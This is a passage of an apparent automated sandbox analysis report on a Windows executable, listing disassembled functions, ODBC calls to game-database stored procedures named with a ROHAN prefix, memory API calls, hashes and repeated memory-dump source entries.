                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_MOVECharSTEP4] (?,?) }
                                                                                                                            • API String ID: 0-1438578261
                                                                                                                            • Opcode ID: 90cabdb522b3df3f719f8b2bfa904421e42c1c70d811b6ad4fe141bc93a92d25
                                                                                                                            • Instruction ID: 383e45d81216f457282d0b7013b86ab3737f9406bd29022e66a031bedc711fbf
                                                                                                                            • Opcode Fuzzy Hash: 90cabdb522b3df3f719f8b2bfa904421e42c1c70d811b6ad4fe141bc93a92d25
                                                                                                                            • Instruction Fuzzy Hash: 4F21EFB1690214BBEB208B94CC52FA97334EB44B14F10C28BF6186F2C4D9B57D408F78
                                                                                                                            Function 0043824E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetRareItemCountByType] (?,?)},000000FD), ref: 00438262
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004382A4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004382D9
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438311
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetRareItemCountByType] (?,?)}, xrefs: 00438259
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetRareItemCountByType] (?,?)}
                                                                                                                            • API String ID: 0-3616157914
                                                                                                                            • Opcode ID: 82df720037b8ad7d8165aba8d38bc8a5c64af6ca178abd200dfadc766bf15a94
                                                                                                                            • Instruction ID: 7802c14bae86ebac212fdc124957620583cf2ef6fdb987da56f4edd438c15551
                                                                                                                            • Opcode Fuzzy Hash: 82df720037b8ad7d8165aba8d38bc8a5c64af6ca178abd200dfadc766bf15a94
                                                                                                                            • Instruction Fuzzy Hash: B121F4B064021CB7EB20DB94CD52FD97334DB84B14F30428AF7146E2C4D9B579408BB9
                                                                                                                            Function 0043933C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetBattlePointInfo] (?,?)},000000FD), ref: 00439350
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00439392
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004393C7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004393FF
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetBattlePointInfo] (?,?)}, xrefs: 00439347
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetBattlePointInfo] (?,?)}
                                                                                                                            • API String ID: 0-1605249194
                                                                                                                            • Opcode ID: df27dc49d44d2535c4671b5981934bc37d03f41cbeb11798d8a2d759aed36b33
                                                                                                                            • Instruction ID: ad809a598ef748994dda59b7a1c43d2a7d222b8efc394c65ef76489ccc1617df
                                                                                                                            • Opcode Fuzzy Hash: df27dc49d44d2535c4671b5981934bc37d03f41cbeb11798d8a2d759aed36b33
                                                                                                                            • Instruction Fuzzy Hash: 112115B57A42147BEB20CB94CC52FAA7334EB44B24F10828BF7186E2C4D5B57D408F68
                                                                                                                            Function 0043984E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetAllCharCount] (?, ?)},000000FD), ref: 00439862
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004398A4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004398D9
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00439911
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetAllCharCount] (?, ?)}, xrefs: 00439859
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetAllCharCount] (?, ?)}
                                                                                                                            • API String ID: 0-3841261170
                                                                                                                            • Opcode ID: 19a32777f4fb9d9e0040685151cd0403c87072fc26e21787129713a3588e387f
                                                                                                                            • Instruction ID: 940fcfcb64da1b1e426fdd2d375d1079013b144e0f91deca0e7ac1e0cdd53863
                                                                                                                            • Opcode Fuzzy Hash: 19a32777f4fb9d9e0040685151cd0403c87072fc26e21787129713a3588e387f
                                                                                                                            • Instruction Fuzzy Hash: 982100B1644214BBEB24CB84CC52FAA7734FB84B14F20828BF7157E2C5D6B57D408B68
                                                                                                                            Function 00438812 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_RareItemControlLog] (?,?)},000000FD), ref: 00438826
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438868
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043889D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004388D5
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_RareItemControlLog] (?,?)}, xrefs: 0043881D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_RareItemControlLog] (?,?)}
                                                                                                                            • API String ID: 0-3630050527
                                                                                                                            • Opcode ID: dbf6500cda97158269ea54afaccd451eecbdb96c785aa3cb878a772a9a400f57
                                                                                                                            • Instruction ID: 00ff5a2944d347354db6d65b049a3380db7c78cb65e33d79db2246f5401b3404
                                                                                                                            • Opcode Fuzzy Hash: dbf6500cda97158269ea54afaccd451eecbdb96c785aa3cb878a772a9a400f57
                                                                                                                            • Instruction Fuzzy Hash: 062118B0650214B7EB209B84CC52F697374EB84B18F10868BF7187E2C4D5B57E40CF69
                                                                                                                            Function 00437A2D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_InsertAssassinInfo] (?,?)},000000FD), ref: 00437A41
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00437A83
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437ABB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437AF0
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_InsertAssassinInfo] (?,?)}, xrefs: 00437A38
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_InsertAssassinInfo] (?,?)}
                                                                                                                            • API String ID: 0-1768161554
                                                                                                                            • Opcode ID: 80560cec84f53b554e1dacc40be2313d2bc661fd1ed533905b8337703099f385
                                                                                                                            • Instruction ID: c4a2f6d70c84f2ffedbf9018261501a99d39a1b6c91ca73379ad5356659f81cc
                                                                                                                            • Opcode Fuzzy Hash: 80560cec84f53b554e1dacc40be2313d2bc661fd1ed533905b8337703099f385
                                                                                                                            • Instruction Fuzzy Hash: DD21FEB0685215BBFB249B44CC92FAA7334EB84B14F208389F71C3E3C5DAB569408F58
                                                                                                                            Function 004603B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59memoryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00460F80: EnterCriticalSection.KERNEL32(?,?,?,004609FF,?,?,?,?,?,?,?,0046163D,?), ref: 00460F8E
                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0046092B,?), ref: 004603F1
                                                                                                                            • GlobalMemoryStatus.KERNEL32(?), ref: 004603FF
                                                                                                                            • HeapValidate.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,0046092B,?), ref: 00460428
                                                                                                                              • Part of subcall function 00460FA0: LeaveCriticalSection.KERNEL32(?,?,?,00460AEB,?,?,?,?,?,?,?,?,0046163D,?), ref: 00460FAE
                                                                                                                            Strings
                                                                                                                            • Memory::_free() failed : total=%d, phys=%d, virtual=%d, xrefs: 00460414
                                                                                                                            • HeapValidate = %d, xrefs: 0046042F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalHeapSection$EnterFreeGlobalLeaveMemoryStatusValidate
                                                                                                                            • String ID: HeapValidate = %d$Memory::_free() failed : total=%d, phys=%d, virtual=%d
                                                                                                                            • API String ID: 3083798181-3706777688
                                                                                                                            • Opcode ID: 1f3981e8f430c868253ebf18b743786ced35e974c549c700a2e83b1ce9cc3976
                                                                                                                            • Instruction ID: fa220208c11b3a6f7274ed5c37a1ab4f49847e86d0998b625072d87a6ab01591
                                                                                                                            • Opcode Fuzzy Hash: 1f3981e8f430c868253ebf18b743786ced35e974c549c700a2e83b1ce9cc3976
                                                                                                                            • Instruction Fuzzy Hash: B801C4757002046BD628ABAA9C06F6F736CDBD4709F10042FFD0093242EAA8D91086FE
                                                                                                                            Function 004701A0 Relevance: 7.6, APIs: 5, Instructions: 99COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #24.ODBC32(00000001,00000000,?), ref: 004701D3
